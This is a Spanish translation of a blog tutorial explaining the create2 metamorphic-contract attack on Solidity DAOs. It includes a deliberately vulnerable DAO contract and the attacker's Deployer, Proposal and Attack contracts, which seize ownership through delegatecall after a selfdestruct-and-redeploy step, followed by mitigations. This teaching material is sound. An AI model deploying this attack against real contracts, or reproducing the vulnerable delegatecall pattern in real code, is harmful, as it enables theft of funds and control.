WEB3DEV Español

Cover image for ¿Qué es un ataque create2 en los Contratos Inteligentes? ¿Cómo evitarlo?🤔

¿Qué es un ataque create2 en los Contratos Inteligentes? ¿Cómo evitarlo?🤔

Image description

Un ataque opcode create2 en los contratos inteligentes, fundamentalmente, explota las características de este opcode para desplegar contratos en una dirección predeterminada. Esta característica, combinada con la lógica de un contrato específico, puede volverse vulnerable a los ataques. Aunque el opcode create2 en sí mismo en muy simple, ofrece una gran flexibilidad para que los contratos implementen la lógica específica, haciéndolo muy común en los protocolos DeFi de hoy.🌐

Por ejemplo, en UniswapV3, la piscina de liquidez para los tokens son automáticamente desplegados, usando un contrato factory. Cuando llamamos a ciertas funciones del contrato UniswapV3 (como los préstamos rápidos), podemos calcular la dirección de la piscina de liquidez correspondiente en una forma similar a la siguiente:

address pool = address(
           uint160(
               uint(
                   keccak256(
                       abi.encodePacked(
                           hex"ff",
                           factory,
                           keccak256(abi.encode(key.token0, key.token1, key.fee)),
                           POOL_INIT_CODE_HASH
                       )
                   )
               )
           )
Enter fullscreen mode Exit fullscreen mode

Esto es porque el opcode create2 requiere cuatro parámetros para calcular la dirección cuando se despliega un contrato: el primero es bytes1(0xff) para evitar la colisión de direcciones con los contratos desplegados usando create, el segundo es la dirección del contrato de despliegue, el tercero es un valor de sal determinado por el desplegador y el cuarto es el valor del calculado del hash desde el bytecode del contrato y los parámetros empaquetados.🧩

Esto nos recuerda a ser cautelosos acerca del método de despliegue de los contratos, y la posibilidad de cambiar el contenido del contrato llamado a través del opcode create2, potencialmente inyectando el código maligno.💡

En este artículo te demostraré un ejemplo sencillo y un ataque create2 y cómo prevenir estos ataques.🛡️

Primero, vamos a describir el proceso de un Ataque create2

Alice despliega un sencillo contrato DAO el cual, su función principal, es aprobar las propuestas creadas por otros y luego ejecutar estas propuestas a través de delegatecall. El código es el siguiente:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract DAO {
   struct Proposal {
       address target;
       bool approved;
       bool executed;
   }

   address public owner = msg.sender;
   Proposal[] public proposals;

   function approve(address target) external {
       require(msg.sender == owner, "not authorized");
       proposals.push(Proposal({target: target, approved: true, executed: false}));
   }

   function execute(uint256 proposalId) external payable {
       Proposal storage proposal = proposals[proposalId];
       require(proposal.approved, "not approved");
       require(!proposal.executed, "executed");
       proposal.executed = true;
       (bool ok, ) = proposal.target.delegatecall(
           abi.encodeWithSignature("executeProposal()")
       );
       require(ok, "delegatecall failed");
   }
}
Enter fullscreen mode Exit fullscreen mode

El atacante, Eve, descubre una vulnerabilidad en este contrato DAO y despliega el contrato Deployer. Este contrato usa el opcode create2 para desplegar otros dos contratos. Uno es un contrato Proposal legítimo y el otro es un contrato Attack, diseñado para el ataque. El código es el siguiente:

contract Deployer {
   event Log(address addr);

   function deployProposal(uint256 salt) external {
       address addr = address(new Proposal{salt: salt}());
       emit Log(addr);
   }

   function deployAttack(uint256 salt) external {
       address addr = address(new Attack{salt: salt}());
       emit Log(addr);
   }
}

contract Proposal {
   event Log(string message);

   function executeProposal() external {
       emit Log("Executed code approved by DAO");
   }

   function emergencyStop() external {
       selfdestruct(payable(address(0)));
   }
}

contract Attack {
   event Log(string message);

   address public owner;

   function executeProposal() external {
       emit Log("Executed code not approved by DAO :)");
       // Por ejemplo: establece el dueño del DAO como el atacante
       owner = msg.sender;
   }
}
Enter fullscreen mode Exit fullscreen mode

Este es el proceso simplificado del ataque create2:

  1. Eve usa primero el contrato Deployer con un valor de sal predeterminado (es decir, bytes32 salt = keccak256(abi.encode(uint(123)));) para desplegar el contrato Proposal, la cual es una propuesta legítima.🧱
  2. Eve envía esta propuesta a Alice y Alice llama al contrato DAO para aprobar esta propuesta.✅
  3. Eve invoca la función emergencyStop del contrato Proposal, desencadenando selfdestruct, destruyendo el contrato.💥
  4. Eve usa el contrato Deployer con el mismo valor de sal (es decir, bytes32 salt = keccak256(abi.encode(uint(123)));) para desplegar el contrato Attack, insertando un código maligno. 🕵️‍♂️
  5. Alice llama la función ejecutar el contrato DAO para ejecutar la propuesta. Ya que la estructura de datos de la estructura Proposal y la lógica de la función no revisa la lógica interna de la propuesta al momento de la ejecución, sólo lo ejecutan basados en la dirección de la propuesta del contrato que ya fue aprobado. Por lo tanto, delegatecall llama al contrato Attack.🚨
  6. El contrato Attack contiene la función executeProposal con una firma idéntica al del contrato Proposal, eludiendo la función de la revisión de la firma en (bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()"));. Como resultado, la función executeProposal en el contrato Attack se llama, modificando las variables en las ranuras de almacenamiento correspondiente en el contrato DAO a través de delegatecall.🔀
  7. Observando las ranuras de almacenamiento del contrato DAO, el primero es la estructura de Proposal, el cual no ocupa las ranuras almacenadas cuando se declara. Por lo tanto, la variable de la ranua 0 es address public owner = msg.sender;. Viendo las ranuras del almacenamiento del contrato Attack, la ranura 0 también contiene address public owner;. Así que, delegatecall a owner = msg.sender; en el contrato Attack resulta en cambiar la variable del dueño en la primera ranura de almacenamiento del contrato DAO al atacante, Eve.🎭

Cómo prevenir los Ataques create2

Este ataque es muy sencillo por sí mismo, pero muestra que la combinación del opcode create2 y la lógica del contrato usada extensivamente en los protocolos populares DeFi, no siempre es perfecta. Basado en el principio del ataque, podemos considerar las siguientes formas para reducir los riesgos:

  1. Antes de aprobar cualquier contrato de llamada externa, debemos verificar el contenido del contrato, no sólo representar el contrato ya desplegado por su dirección. Esto puede lograrse verificando el bytecode del contrato.🔍
  2. Está atento de los contratos con funcionalidad selfdestruct y limita y monitorea los llamados de estos. Esto puede lograrse a través de la auditoría y la gobernanza del contrato.⚠️
  3. Para los contratos del tipo DAO, considera añadir un bloque de tiempo (time lock) antes de ejecutar propuestas. Esto puede proporcionar suficiente tiempo buffer para revisar el contenido de la propuesta, asegurando que no haya sido reemplazado con acciones malignas.⏳
  4. Ten cuidado en las funciones que usan delegatecall, ya que delegatecall cambiará las variables en las ranuras de almacenamiento del mismo llamante. Incluso si no es un código maligno, las inconsistencias en la capa del almacenamiento entre el llamante y el que llama puede llevar a errores inesperados.🤔

Esto concluye nuestro debate sobre los ataques create2 y las estrategias relacionadas a la seguridad. Ya que llegaste hasta aquí, ¡por qué no me das un like!👍

Este artículo es una traducción de codingJourneyFromUnemployment, hecha por Gabriella Martínez. Puedes encontrar el artículo original aquí
Sería genial escucharte en nuestro Discord, puedes contarnos tus ideas, comentarios, sugerencias y dejarnos saber lo que necesitas.
Si prefieres puedes escribirnos a @web3dev_es en Twitter.

Discussion (0)